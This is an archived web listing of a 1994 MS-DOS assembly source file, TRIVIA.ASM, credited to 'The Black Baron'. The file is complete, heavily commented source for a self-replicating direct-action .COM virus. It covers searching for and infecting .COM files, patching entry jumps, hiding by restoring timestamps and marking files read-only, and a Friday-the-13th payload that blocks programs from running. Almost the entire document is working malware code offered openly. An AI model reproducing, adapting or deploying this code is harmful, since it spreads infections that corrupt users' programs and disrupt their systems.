home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SMEGUPD1.ZIP / SMEG03.ZIP / TRIVIA.ASM < prev    next >
Assembly Source File  |  1994-06-17  |  9KB  |  256 lines

  1. ;               ┌────────────────────────────────────────┐
  2. ;               │                 TRIVIA                 │
  3. ;               │                 ══════                 │
  4. ;               │ A trivial, direct action .COM infector │
  5. ;               │        (C) The Black Baron 1994        │
  6. ;               └────────────────────────────────────────┘
  7.  
  8. ;Some EQUates
  9. ;────────────
  10. DTA_OFFSET    EQU    3
  11.  
  12. CODESG    SEGMENT    BYTE PUBLIC
  13.  
  14. ;We are a .COM, so set up the ASSUMES to reflect this
  15. ;────────────────────────────────────────────────────
  16.     ASSUME    CS:CODESG,DS:CODESG,ES:CODESG,SS:CODESG
  17.  
  18. ;Standard ORG for a .COM
  19. ;───────────────────────
  20.     ORG    100h
  21.  
  22. ;Get and save the hosts original first 3 bytes
  23. ;─────────────────────────────────────────────
  24. BEGIN:    MOV    DI,100h        ;Start of the .COM
  25.     PUSH    DI        ;Stack it for later
  26.     CALL    GO_RESTORE    ;"JMP" over the 1st 3 bytes!
  27.  
  28. ;A store for the hosts first three bytes, just an INT 20h at the mo'
  29. ;───────────────────────────────────────────────────────────────────
  30. FIRST_THREE_STORE:    INT    20h        ;2 bytes
  31.     NOP            ;1 byte
  32.  
  33. GO_RESTORE:    POP    SI        ;Point to the original 1st 3
  34.     CLD            ;Just in case!
  35.     LODSW            ;Get first 2
  36.     XCHG    BX,AX        ;Make BX = AX
  37.     LODSB            ;Get 3rd
  38.     PUSH    AX        ;Save it
  39.     PUSH    BX        ;Save 1st and 2nd bytes
  40.  
  41. ;Now make SI (our work area pointer) = the free space after our code
  42. ;───────────────────────────────────────────────────────────────────
  43.     CALL    SET_SI
  44.  
  45. ;Alter the INT 24h handler to stop any "WRITE PROTECTED" type errors
  46. ;───────────────────────────────────────────────────────────────────
  47.     CALL    GET_PC        ;"JMP" over our INT 24h handler
  48.  
  49. ;Our INT 24h handler, just ignores the error and continues
  50. ;─────────────────────────────────────────────────────────
  51.     XOR    AL,AL        ;Signal IGNORE ERROR
  52.     IRET            ;RETurn from INT 24h
  53.  
  54. ;POP off our INT 24h handlers address and use it to set the INT 24h handler
  55. ;──────────────────────────────────────────────────────────────────────────
  56. GET_PC:    POP    DX        ;Get address of our INT 24h
  57.                 ;DS is already our CS
  58.     MOV    AX,2524h        ;Set INT 24h
  59.     INT    21h        ;Set the interrupt
  60.  
  61. ;Time now to save the hosts DTA and set up our own DTA
  62. ;─────────────────────────────────────────────────────
  63.     MOV    AH,2Fh        ;Get DTA function
  64.     INT    21h        ;Get it!
  65.     PUSH    ES        ;Save hosts DTA segment
  66.     PUSH    BX        ;Save hosts DTA offset
  67.     MOV    DX,SI        ;Get end of our code
  68.     ADD    DX,DTA_OFFSET    ;ADD 3 to it
  69.     MOV    AH,1Ah        ;Set DTA function
  70.     INT    21h        ;Set it!
  71.  
  72. ;Right!  Time to find our first potential victim!  NOTE:  This virus will
  73. ;not infect .COM's with the R/O attribute set, as this is the way that this
  74. ;virus marks infected files!  Also, it only infects ONE file in the CURRENT
  75. ;directory on each run
  76. ;──────────────────────────────────────────────────────────────────────────
  77.     CALL    GET_FIRST    ;"JMP" over the search name!
  78.     DB    '*.COM',0    ;The ASCIIZ search name
  79. GET_FIRST:    POP    DX        ;Get search name address
  80.     MOV    AH,4Eh        ;Search First function
  81.     XOR    CX,CX        ;Signal NORMAL files only
  82. GET_NEXT:    INT    21h        ;Do the search
  83.     JNC    GOT_A_VICTIM    ;OK, found a potential victim!
  84.     JMP    RUN_HOST        ;Run the host, as any errors
  85.                 ;are treated as FILE NOT FOUND,
  86.                 ;NO MORE FILES
  87.  
  88. ;OK, got a potential victim.  Do some checks to see if we can infect
  89. ;───────────────────────────────────────────────────────────────────
  90. GOT_A_VICTIM:    MOV    AL,[SI+DTA_OFFSET+15h]    ;Get attribute
  91.     AND    AL,1                 ;Is it read only?
  92.     MOV    AH,4Fh        ;Prepare for GET NEXT search
  93.     JNZ    GET_NEXT        ;Yes, so can't infect it!  Get
  94.                 ;another potential victim
  95.  
  96.     CMP    WORD PTR [SI+DTA_OFFSET+1Ch],0 ;High size word 0?
  97.     JNZ    GET_NEXT                     ;NO, so get
  98.                              ;another potential
  99.                         ;victim!
  100.  
  101.     CMP    WORD PTR [SI+DTA_OFFSET+1Ah],LARGEST_VICTIM
  102.  
  103.     JAE    GET_NEXT        ;Sorry, .COM too big!  So get
  104.                 ;another potential victim!
  105.  
  106.     CMP    WORD PTR [SI+DTA_OFFSET+1Ah],3  ;Can't infect
  107.                          ;files <3 bytes
  108.  
  109.     JB    GET_NEXT        ;Get another potential victim
  110.  
  111. ;Right, size checks passed.  Now open the victim for READ/WRITE
  112. ;──────────────────────────────────────────────────────────────
  113.     MOV    DX,SI        ;Point to our buffer/DTA
  114.     ADD    DX,DTA_OFFSET+1Eh ;Adjust to point to filename
  115.     MOV    AX,3D02h        ;Open for READ/WRITE access
  116.     INT    21h        ;Open it!
  117.     JNC    OPENED_OK    ;Opened it OK
  118.     JMP    RUN_HOST        ;Failed to open it, run host
  119.  
  120. ;OK, now read in the first 3 bytes and store them for restoring the host
  121. ;───────────────────────────────────────────────────────────────────────
  122. OPENED_OK:    XCHG    BX,AX        ;Get file handle into BX
  123.     MOV    DX,SI        ;Point to our buffer
  124.     SUB    DX,FIRST_THREE    ;Point to our 1st 3 store
  125.     MOV    CX,3        ;Three bytes to read
  126.     MOV    AH,3Fh        ;Read File function
  127.     INT    21h        ;Read 'em!
  128.     JNC    GOT_FIRST_THREE    ;Got first 3 bytes OK
  129.     MOV    AH,3Eh        ;Close function
  130.     INT    21h        ;Close it!
  131.     JMP    RUN_HOST        ;ERROR, so run the host
  132.  
  133. GOT_FIRST_THREE:    CMP    WORD PTR [SI-FIRST_THREE],'ZM'  ;Is it a .EXE in
  134.                          ;disguise?!!!
  135.     JNZ    A_REAL_COM    ;No, it's a .COM
  136. TRY_ANOTHER:    MOV    AH,3Eh        ;Close file function
  137.     INT    21h        ;Close it
  138.     MOV    AH,4Fh        ;GET NEXT function
  139.     JMP    GET_NEXT        ;Try for another victim
  140.  
  141. ;Now move to EOF to calculate the initial JMP and also to append the virus
  142. ;─────────────────────────────────────────────────────────────────────────
  143. A_REAL_COM:    MOV    AX,4202h        ;Move pointer, offset from end
  144.     XOR    CX,CX        ;Zero CX
  145.     CWD            ;Zero DX by sign extending AX!
  146.     INT    21h        ;Move it!
  147.     JC    TRY_ANOTHER    ;ERROR, so try another victim
  148.     SUB    AX,3         ;Adjust for the JMP
  149.     MOV    BYTE PTR [SI],0E9h ;Store the JMP instruction
  150.     MOV    [SI+1],AX     ;Store the JMP offset
  151.     MOV    DX,SI        ;Point to the virus end
  152.     MOV    CX,VIRUS_SIZE    ;CX = the virus length
  153.     SUB    DX,CX        ;SUB length (DX now = BEGIN)
  154.     MOV    AH,40h        ;Write to file function
  155.     INT    21h        ;Write it!
  156.  
  157. ;All file errors from this point are ignored!
  158. ;────────────────────────────────────────────
  159.  
  160. ;Virus appended, now make the 1st 3 bytes = the JMP to the virus code
  161. ;────────────────────────────────────────────────────────────────────
  162.     MOV    AX,4200h        ;Move pointer, offset from top
  163.     XOR    CX,CX        ;Zero CX
  164.     CWD            ;Zero DX
  165.     INT    21h        ;Move it!
  166.     MOV    DX,SI        ;Point to our first three
  167.     MOV    CX,3        ;3 bytes to write
  168.     MOV    AH,40h        ;Write to file function
  169.     INT    21h        ;Write it!
  170.  
  171. ;Restore old date and time from the values in our DTA
  172. ;────────────────────────────────────────────────────
  173.     MOV    CX,[SI+DTA_OFFSET+16h]  ;Get old time
  174.     MOV    DX,[SI+DTA_OFFSET+18h]  ;Get old date
  175.     MOV    AX,5701h              ;Set time/date function
  176.     INT    21h        ;Set it!
  177.     MOV    AH,3Eh        ;Close file function
  178.     INT    21h        ;Close it!
  179.  
  180. ;Now SET the R/O attribute, to prevent further infections of the same file
  181. ;─────────────────────────────────────────────────────────────────────────
  182.     XOR    CH,CH              ;Zero CX high byte
  183.     MOV    CL,[SI+DTA_OFFSET+15h]  ;Get original attribute
  184.     OR    CL,1              ;SET R/O attribute
  185.     MOV    DX,SI        ;Point to our buffer/DTA
  186.     ADD    DX,DTA_OFFSET+1Eh    ;Adjust to point to filename
  187.     MOV    AX,4301h        ;Set Attribute function
  188.     INT    21h        ;Set 'em!
  189.  
  190. ;Time to run the host, first we must restore it's original 1st 3 bytes
  191. ;─────────────────────────────────────────────────────────────────────
  192. RUN_HOST:    POP    DX        ;Restore original DTA address
  193.     POP    DS        ;Restore original DTA segment
  194.     MOV    AH,1Ah        ;Set DTA function
  195.     INT    21h        ;Set it!
  196.  
  197.     MOV    DI,100h        ;Point to the third byte
  198.     POP    AX        ;Get 1st and 2nd bytes
  199.     STOSW            ;Restore them
  200.     POP    AX        ;Get 3rd byte
  201.     STOSB            ;Restore it
  202.  
  203. ;See if we need to deliver out trivial payload!
  204. ;──────────────────────────────────────────────
  205.     MOV    AH,2Ah        ;Get system date function
  206.     INT    21h        ;Get it!
  207.     CMP    AL,5        ;Is it a FRIDAY?
  208.     JNZ    NO_PAYLOAD    ;Nope!  So no payload
  209.     CMP    DL,13        ;Is it the 13th
  210.     JNZ    NO_PAYLOAD    ;Nope!  So no payload
  211.  
  212. ;Our trivial payload is delivered on FRIDAY the 13ths!  (original, eh?!!)
  213. ;No damage occurs, we just print a message and don't allow the host to run,
  214. ;The message is the same as the one you get trying to run a windows program
  215. ;under DOS!
  216. ;──────────────────────────────────────────────────────────────────────────
  217.     CALL    DUMP_MESSAGE    ;"JMP" over the message
  218.  
  219.     DB    'This program requires Microsoft Windows.'
  220.     DB    13,10,'$'
  221.  
  222. DUMP_MESSAGE:    POP    DX        ;Point to the message
  223.     MOV    AH,9        ;DOS print string
  224.     INT    21h        ;Print it!
  225.     MOV    AX,4C00h        ;Terminate, return 0
  226.     INT    21h        ;Terminate!
  227.  
  228. ;Now run the host via a RETurn to the stacked 100h
  229. ;─────────────────────────────────────────────────
  230. NO_PAYLOAD:    RET
  231.  
  232. ;Set up SI to some free space
  233. ;────────────────────────────
  234. SET_SI:    CALL    THE_END
  235. THE_END:    POP    SI        ;SI now = this point
  236.     ADD    SI,5        ;Skip over the POP, ADD & RET
  237.     RET            ;Back to our caller
  238.  
  239. ;An EQUate used to point to a 3 byte store space, for the hosts 1st 3 bytes
  240. ;──────────────────────────────────────────────────────────────────────────
  241. FIRST_THREE    EQU    $-FIRST_THREE_STORE
  242.  
  243. ;Some more equates
  244. ;─────────────────
  245. VIRUS_SIZE    EQU    $-BEGIN        ;The virus size
  246. LARGEST_COM    EQU    65279-256    ;Largest .COM - our stack & DTA
  247.  
  248. LARGEST_VICTIM    EQU    LARGEST_COM-VIRUS_SIZE    ;Our largest victim
  249.  
  250. ;SI = this point, I.E. the free space after all the actual program code
  251. ;──────────────────────────────────────────────────────────────────────
  252.  
  253. CODESG    ENDS
  254.  
  255.     END    BEGIN
  256.